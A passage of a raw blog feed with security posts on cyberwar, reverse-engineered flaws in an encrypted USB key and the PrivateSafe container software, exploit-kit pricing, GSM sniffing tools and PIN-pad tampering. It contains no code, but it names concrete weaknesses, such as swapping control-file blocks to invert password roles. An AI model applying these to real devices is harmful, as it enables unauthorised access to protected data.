partamos del punto clave y sus conflictos asociados en dimensión con la Ciber-Guerra.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S2CvfnnE-BI/AAAAAAAAALE/PEJI4MF8wFE/s1600-h/02-Jan-28-10-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 222px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S2CvfnnE-BI/AAAAAAAAALE/PEJI4MF8wFE/s320/02-Jan-28-10-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5431534108352509970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;-Ataques distribuidos, con un anonimato alto.&lt;br /&gt;-Posibilidad de utilizar la infraestructura del mismo enemigo.&lt;br /&gt;-Bajo costo de implementación tecnológica y R&amp;amp;D.&lt;br /&gt;-Amplia gama de infraestructuras críticas para ser atacados.&lt;br /&gt;-Posibilidad de realizar actividades no convencionales.&lt;br /&gt;-El contacto directo con el comando del enemigo y el centro de control en los rangos más altos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Evaluación # 1:&lt;/span&gt;&lt;br /&gt;En las guerras tradicionales, para luchar contra un país se requiere una enorme cantidad de recursos (armas, municiones, etc.) Si bien, en Internet basados en los conflictos asimétricos, para luchar contra un país que puede tomar sólo unos pocos o sólo un hacker experto motivado.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ciber Politicas (Historia)&lt;/span&gt;&lt;br /&gt;2001 Pakistan vs West&lt;br /&gt;2002 USA vs China&lt;br /&gt;2004 South America vs USA&lt;br /&gt;2007 Arab countries vs Denmark&lt;br /&gt;2007 Russia vs Estonia&lt;br /&gt;2008 Russia vs Georgia&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ciber Industria y Espionage Privado&lt;/span&gt;&lt;br /&gt;2001 Pakistan vs India&lt;br /&gt;2005 China vs EU (politico)&lt;br /&gt;2005 China vs Italy (industrial)&lt;br /&gt;2006 Russia vs USA (militar)&lt;br /&gt;2008 China vs rest of the world&lt;br /&gt;2009 China vs USA (guerra preventiva?)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S2Cv7okxaNI/AAAAAAAAALM/k7GZ080zobw/s1600-h/02-Jan-28-10-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 198px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S2Cv7okxaNI/AAAAAAAAALM/k7GZ080zobw/s320/02-Jan-28-10-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5431534589647612114" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Evaluación # 2:&lt;/span&gt;&lt;br /&gt;-Los sistemas tácticos se descarga nada más de las veces y cuando se descarga que los datos transferidos irrealista.&lt;br /&gt;-El sistema era tan lento en la distribución de la inteligencia que sabíamos acerca de la presencia del enemigo sólo cuando estaba delante de nosotros y de tiro.&lt;br /&gt;-El exceso de inteligencia = nada de inteligencia!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lecciones no aprendidas&lt;/span&gt;&lt;br /&gt;-Alemania (ley del Parlamento contra la seguridad / herramientas de hacking).&lt;br /&gt;-Francia (doctrina de Sarkozy).&lt;br /&gt;-Italia (decreto Pisanu).&lt;br /&gt;-Suecia (El caso de Pirate Bay).&lt;br /&gt;-Todos los otros países (ceguera ante los múltiples niveles de amenazas y la ceguera a la retención excesiva de datos).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Lecciones aprendidas&lt;/span&gt;&lt;br /&gt;Uso de software propietario y de hardware cuando sea posible. Y cuando no es posible, al menos la revisión más actual del software de código abierto.&lt;br /&gt;-Excesiva retención de datos provoca más problemas que beneficios. Hay un peligro oculto desde el punto de vista social, ya que una vez adoptado y aplicada una política de retención de datos, será necesaria una revolución para revocarla (recordemos el caso del aeropuerto de Londres?).&lt;br /&gt;&lt;br /&gt;S.A &amp;amp; R.M&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8201344948046523915?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8201344948046523915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8201344948046523915'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/01/cyberwar-cyberterror-and-cybercrime.html' title='CyberWar, CyberTerror and CyberCrime'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/S2CvfnnE-BI/AAAAAAAAALE/PEJI4MF8wFE/s72-c/02-Jan-28-10-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1278470729775686113</id><published>2010-01-18T04:49:00.009-04:30</published><updated>2010-01-18T05:01:00.843-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='crack crypto system'/><category scheme='http://www.blogger.com/atom/ns#' term='public key cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='E-capsule PrivateSafe'/><category scheme='http://www.blogger.com/atom/ns#' term='eeprom password'/><category scheme='http://www.blogger.com/atom/ns#' term='crack encrypted filesystem'/><category scheme='http://www.blogger.com/atom/ns#' term='hack cryptographic technology'/><category scheme='http://www.blogger.com/atom/ns#' term='encrypted messages'/><category scheme='http://www.blogger.com/atom/ns#' term='MXI Stealth USB'/><title type='text'>Cracking The Cryptographic Systems</title><content type='html'>&lt;div style="text-align: justify;"&gt;Many reverse engineers always try to break the cryptographic protocols/applications using reverse engineering process as their primary key. The process itself is known as "Cryptanalysis". It is hard, time consuming and resource mean. A common way to break the commercial crypto system is to reverse the code and find the implementation errors. I will take two such commercial examples below:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;– &lt;span style="font-style: italic;"&gt;MXI Stealth&lt;/span&gt;&lt;br /&gt;– &lt;span style="font-style: italic;"&gt;EISST E-capsule PrivateSafe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MXI Stealth&lt;/span&gt;&lt;br /&gt;-  FIPS 142-3 level 2 certified USB Key&lt;br /&gt;- AES on-chip encryption&lt;br /&gt;- Authentication through password (windows application) or fingerprint (OS independent)&lt;br /&gt;- Upon connection a first removable drive with a locked contents appears.&lt;br /&gt;- Upon successful authentication a second drive appears.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Problem with Technology&lt;/span&gt;&lt;br /&gt;Passwords are injected upon creation from external USB interface. A random salt is also added as a plain text through USB and stored in the EEPROM. Combined password with salt is then hashed using SHA-256 bit algorithm and stored again in EEPROM with associated user. Now upon failed password attempt there is a delay of 500ms. However, this delay also applies when a password verfication operation is done. This gap allows a maximum of 120 tries/minute. It gives an attacker enough time to break into.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S1QokoCGIII/AAAAAAAAAKc/JzQ5yN4ktC8/s1600-h/01-Jan-18-10-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 159px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S1QokoCGIII/AAAAAAAAAKc/JzQ5yN4ktC8/s320/01-Jan-18-10-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5428008060574900354" border="0" /&gt;&lt;/a&gt;- There is a library to exchange encrypted messages with the key.&lt;br /&gt;– Apparently the password is encrypted and sent to the key.&lt;br /&gt;– After some messages are exchanged the protected disk is activated.&lt;br /&gt;- A logging function is implemented. It does not write log messages into a log file but they can be seen in the memory.&lt;br /&gt;– A simple patch of the code can reactivate the log file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1Qoy0w0B0I/AAAAAAAAAKk/J2qcPNDvG5s/s1600-h/01-Jan-18-10-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 142px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1Qoy0w0B0I/AAAAAAAAAKk/J2qcPNDvG5s/s320/01-Jan-18-10-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5428008304510240578" border="0" /&gt;&lt;/a&gt;- The 60 byte string are three SHA1 hashes. The current password and the previous 2 passwords.&lt;br /&gt;- The "enterprise" version of the software needs this info to make sure the user does not reuse&lt;br /&gt;the current and last "n" passwords.&lt;br /&gt;- This information is received by the software even before the user has authenticated.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;EISST E-capsule PrivateSafe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PrivateSafe is a software that creates encrypted containers.&lt;br /&gt;There are 4 passwords:&lt;br /&gt;1. The admin password allows managing the container.&lt;br /&gt;2. The public password reveals one part of the content.&lt;br /&gt;3. The private passwod gives access to the rest of the content.&lt;br /&gt;4. The panic password deletes all files and gives access to an empty container.&lt;br /&gt;&lt;br /&gt;There are 2 files:&lt;br /&gt;1. The encrypted file system.&lt;br /&gt;2. A control file.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1QpAu1VntI/AAAAAAAAAKs/e1qc6QEsoNs/s1600-h/01-Jan-18-10-pic3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 279px; height: 320px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1QpAu1VntI/AAAAAAAAAKs/e1qc6QEsoNs/s320/01-Jan-18-10-pic3.JPG" alt="" id="BLOGGER_PHOTO_ID_5428008543436775122" border="0" /&gt;&lt;/a&gt;Through reverse engineering we found that:&lt;br /&gt;- Each block of the control file is encrypted with AES 256 CTS mode.&lt;br /&gt;– The key is the SHA256 hash of the corresponding password.&lt;br /&gt;– The IV is the ripemd160 hash of the password.&lt;br /&gt;– The clear text of blocks 1,2 and 3 are the same. Block 0 corresponds to the admin key.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1QpLNELwjI/AAAAAAAAAK0/5GOhE241s2w/s1600-h/01-Jan-18-10-pic4.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 313px; height: 320px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/S1QpLNELwjI/AAAAAAAAAK0/5GOhE241s2w/s320/01-Jan-18-10-pic4.JPG" alt="" id="BLOGGER_PHOTO_ID_5428008723350798898" border="0" /&gt;&lt;/a&gt;- Exchanging two blocks in the control file inverts the role of their keys. E.g, private &lt;-&gt; public&lt;br /&gt;- Worse. E.g, Shred &lt;-&gt; private&lt;br /&gt;- Actually, exchanging just the single ascii character that identify the blocks is enough.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S1QpUhbC6wI/AAAAAAAAAK8/IihHC8iIZ2I/s1600-h/01-Jan-18-10-pic5.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 119px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/S1QpUhbC6wI/AAAAAAAAAK8/IihHC8iIZ2I/s320/01-Jan-18-10-pic5.JPG" alt="" id="BLOGGER_PHOTO_ID_5428008883434220290" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-1278470729775686113?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1278470729775686113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1278470729775686113'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/01/cracking-cryptographic-systems.html' title='Cracking The Cryptographic Systems'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/S1QokoCGIII/AAAAAAAAAKc/JzQ5yN4ktC8/s72-c/01-Jan-18-10-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-2089462858943844626</id><published>2010-01-04T13:56:00.006-04:30</published><updated>2010-01-04T18:43:14.241-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='http botnets'/><category scheme='http://www.blogger.com/atom/ns#' term='crimeware'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber criminals'/><category scheme='http://www.blogger.com/atom/ns#' term='Botnets'/><title type='text'>El Malware y su futuro en el 2010</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_d-rQacFdOFI/S0IziEYEGlI/AAAAAAAAADs/sE9NQ7OcjUQ/s1600-h/liberty-botnet.png"&gt;&lt;img style="cursor: pointer; width: 274px; height: 320px;" src="http://1.bp.blogspot.com/_d-rQacFdOFI/S0IziEYEGlI/AAAAAAAAADs/sE9NQ7OcjUQ/s320/liberty-botnet.png" alt="" id="BLOGGER_PHOTO_ID_5422953561690741330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Según wikipedia el “Malware es un software que tiene como objetivo infiltrarse en el sistema y dañar la computadora sin el conocimiento de su dueño, con finalidades muy diversas…”&lt;br /&gt;Un ejemplo de malware son los troyanos (esos programitas que parecen inofensivos pero le dan acceso remoto a una persona sin nuestro consentimiento), los virus ya conocidos por todos, etc.&lt;br /&gt;&lt;br /&gt;Desde que la banca coloco sus sistemas al público mediante internet para darle la facilidad al usuario final, de que realice sus operaciones sin trasladarse físicamente a una sucursal, los delincuentes tuvieron que evolucionar, atacar ese campo que estaba naciendo y que no había sido tocado por ellos, el ataque más conocido por la población hoy en día es el Phishing. Pero hay una modalidad de malware que va contra el sector bancario online y es el Crimeware. El desarrollo de este tipo de software es muy lucrativo para los programadores o blackhats que se especializan en esta modalidad, este tipo de software se aprovecha de vulnerabilidades de sistemas operativos o vulnerabilidades en programas instalados para infectar al usuario.&lt;br /&gt;&lt;br /&gt;Herramientas como: Liberty Exploit System, Neon Exploit System, Sploit25, Unique Sploits Pack, Eleonore Exploits Pack, YES Exploit System, etc., pueden ir desde 500$US hasta 3000$US. Esta cantidad de dinero por el desarrollo de malware hace que los programadores saquen provecho por la venta de estos sistemas y hasta den garantías a sus compradores sobre si su sistema es detectado por algún antivirus.&lt;br /&gt;&lt;br /&gt;Dependiendo del tipo de malware y lo complejo que sea varia su precio, encontraran ofertas en internet de troyanos por 250$US hasta los sistemas de crimeware mencionado anteriormente.  Rusia lleva la delantera y le sigue china en el desarrollo de malware. Los nuevos estudios de Mcafee Labs pronostican que en el 2010 la compañía que será más atacada por este tipo de malware va a ser Adobe y se dejara de lado a Microsoft Office, debido a que se van encontrando nuevas vulnerabilidades en sus programas lideres como Adobe Reader y Adobe Flash. Solamente con abrir un sencillo PDF realizado por estos sistemas y una versión vulnerable de Adobe Reader el usuario sin darse cuenta se descarga un malware, se infecta y ya pasa a ser una víctima más en el mundo de los ciber-delitos, lo mismo pasaría con una animación Flash.&lt;br /&gt;&lt;br /&gt;Más allá, la Cyber-Warfare también puede ir por este rumbo y cualquier país involucrado utilizaría estos sistemas para en vez de ir contra lo monetario atacar los sistemas informáticos gubernamentales de su contraparte mediante estas botnets.&lt;br /&gt;Adobe constantemente está en la corrección de estas vulnerabilidades y han desarrollado un blog para este tipo de temas, claro está que si como usuarios no ponemos de nuestra parte y no mantenemos los sistemas actualizados, no será nada útil las correcciones que se hagan a nivel de desarrollo de código hasta que instalemos los updates necesarios.&lt;br /&gt;&lt;br /&gt;Para más info sobre adobe y su blog: http://blogs.adobe.com/psirt/&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-2089462858943844626?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/2089462858943844626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/2089462858943844626'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/01/el-malware-y-su-futuro-en-el-2010.html' title='El Malware y su futuro en el 2010'/><author><name>Rafael Maita</name><uri>http://www.blogger.com/profile/10954041379966158368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://4.bp.blogspot.com/_d-rQacFdOFI/Se-sJ3IXPgI/AAAAAAAAABw/paAhZdNHtB8/S220/HPIM0415.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_d-rQacFdOFI/S0IziEYEGlI/AAAAAAAAADs/sE9NQ7OcjUQ/s72-c/liberty-botnet.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8536406313310360343</id><published>2009-12-17T17:45:00.009-04:30</published><updated>2009-12-17T18:00:47.420-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='mobile phone sniffing'/><category scheme='http://www.blogger.com/atom/ns#' term='mobile evasdropping'/><category scheme='http://www.blogger.com/atom/ns#' term='cellphone hack'/><category scheme='http://www.blogger.com/atom/ns#' term='gsm security'/><category scheme='http://www.blogger.com/atom/ns#' term='gsm cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='gsm mobile hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='gsm decoder'/><category scheme='http://www.blogger.com/atom/ns#' term='cellphone network breach'/><title type='text'>GSM Security and 90's Mobsters</title><content type='html'>&lt;div style="text-align: justify;"&gt;There are number of mobile/cell technologies available in the market today, however, the issues like security and privacy have remained the top concerns for every single network provider. Evaluating the generic GSM technology can give a brief overview on security controls within the cellphone/network system.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Information on SIM card generally includes:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-Phonebook&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-Call Register Information&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;-Private Photos/Videos&lt;/span&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;-SMS/MMS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;-Technical Network Information&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GSM Network Structure Overview&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SyquoJnaVGI/AAAAAAAAAJ8/JLIn_ovCs5E/s1600-h/December-01-09-pic1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 219px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SyquoJnaVGI/AAAAAAAAAJ8/JLIn_ovCs5E/s320/December-01-09-pic1.jpg" alt="" id="BLOGGER_PHOTO_ID_5416333506665665634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What security protocols are being used?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A3&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Authentication mechanism for GSM Security&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A5/1&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Stream Cipher for voice privacy&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A5/2&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Weakest stream cipher for voice privacy&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A5/3&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Provides confidentiality and integrity for mobile communications&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So, are our call secure over GSM network? The answer is "no".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SyqvAP0NGrI/AAAAAAAAAKE/vKCLQcWZo4Y/s1600-h/December-01-09-pic2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 222px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/SyqvAP0NGrI/AAAAAAAAAKE/vKCLQcWZo4Y/s320/December-01-09-pic2.jpg" alt="" id="BLOGGER_PHOTO_ID_5416333920646798002" border="0" /&gt;&lt;/a&gt;Scanning and decoding the GSM traffic using Nokia 3310 toolkit + Universal Radio Peripheral.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Nokia 3310&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;MBUS data cable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Wireshark&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Gsmdecode (Linux)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Syqvl7fauVI/AAAAAAAAAKM/2Ine6eQ-Jzg/s1600-h/December-01-09-pic3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 262px; height: 320px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Syqvl7fauVI/AAAAAAAAAKM/2Ine6eQ-Jzg/s320/December-01-09-pic3.jpg" alt="" id="BLOGGER_PHOTO_ID_5416334568025930066" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Overall view of GSM Cellphone System Breach&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SyqwHfq25VI/AAAAAAAAAKU/iZwd6eBlXFo/s1600-h/December-01-09-pic4.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 237px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SyqwHfq25VI/AAAAAAAAAKU/iZwd6eBlXFo/s320/December-01-09-pic4.jpg" alt="" id="BLOGGER_PHOTO_ID_5416335144673273170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8536406313310360343?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8536406313310360343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8536406313310360343'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/12/gsm-security-and-90s-mobsters.html' title='GSM Security and 90&apos;s Mobsters'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/SyquoJnaVGI/AAAAAAAAAJ8/JLIn_ovCs5E/s72-c/December-01-09-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7734921775632381487</id><published>2009-11-30T11:16:00.010-04:30</published><updated>2009-11-30T11:34:14.158-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='pin entry device'/><category scheme='http://www.blogger.com/atom/ns#' term='PED tampering'/><category scheme='http://www.blogger.com/atom/ns#' term='atm hack'/><category scheme='http://www.blogger.com/atom/ns#' term='encrypted PIN'/><category scheme='http://www.blogger.com/atom/ns#' term='chip and pin security'/><category scheme='http://www.blogger.com/atom/ns#' term='card fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='design flaws'/><category scheme='http://www.blogger.com/atom/ns#' term='smartcard protocol'/><category scheme='http://www.blogger.com/atom/ns#' term='smartcard security'/><category scheme='http://www.blogger.com/atom/ns#' term='PED'/><title type='text'>Breaking The SmartCard Payment Security System</title><content type='html'>&lt;div style="text-align: justify;"&gt;In the recent years, there has been a huge amount of development within e-commerce industry. One of the remarks to secure POS(point of sale) and other electronic payments is to use SmartCard Payment System (Chip &amp;amp; PIN technology). Its simple procedure allow customers to insert contact-smartcard at any POS and enter the PIN code into PED (Pin Entry Device) before authorizing the transaction.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; &lt;span style="font-weight: bold;"&gt;SmartCard Protocol&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. &lt;span style="font-style: italic;"&gt;Card To PED&lt;/span&gt;&lt;br /&gt;Cardholder details captured (cardholder name, account, expiry, CVC, etc) and other magnetic strip information.&lt;br /&gt;&lt;br /&gt;2. &lt;span style="font-style: italic;"&gt;PED Display&lt;/span&gt;&lt;br /&gt;Transaction description (currency type, value) and PIN entered by customer.&lt;br /&gt;&lt;br /&gt;3. &lt;span style="font-style: italic;"&gt;Final Authorization&lt;/span&gt;&lt;br /&gt;PIN verification results and authorization code.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For this protocol standard to work securely, it is required to develop PED being tamper proofed. This foundation has been forced and practiced widely by VISA, EMV, PCI and APACS (UK). The evaluation of PED is then performed by well-established standards such as "Common Criteria".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Protection Measures and Possible Tampering&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Tampered Switches within PED&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Dione Xtreme&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPqWAH7cJI/AAAAAAAAAJU/-x8tQ2uXA84/s1600/November-02-09-pic1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPqWAH7cJI/AAAAAAAAAJU/-x8tQ2uXA84/s320/November-02-09-pic1.jpg" alt="" id="BLOGGER_PHOTO_ID_5409925241113374866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Ingenico i3300&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPqmMvn7uI/AAAAAAAAAJc/8z0RmHWVAM0/s1600/November-02-09-pic2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 310px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SxPqmMvn7uI/AAAAAAAAAJc/8z0RmHWVAM0/s320/November-02-09-pic2.jpg" alt="" id="BLOGGER_PHOTO_ID_5409925519379001058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tamper Resistance&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As of the current protection 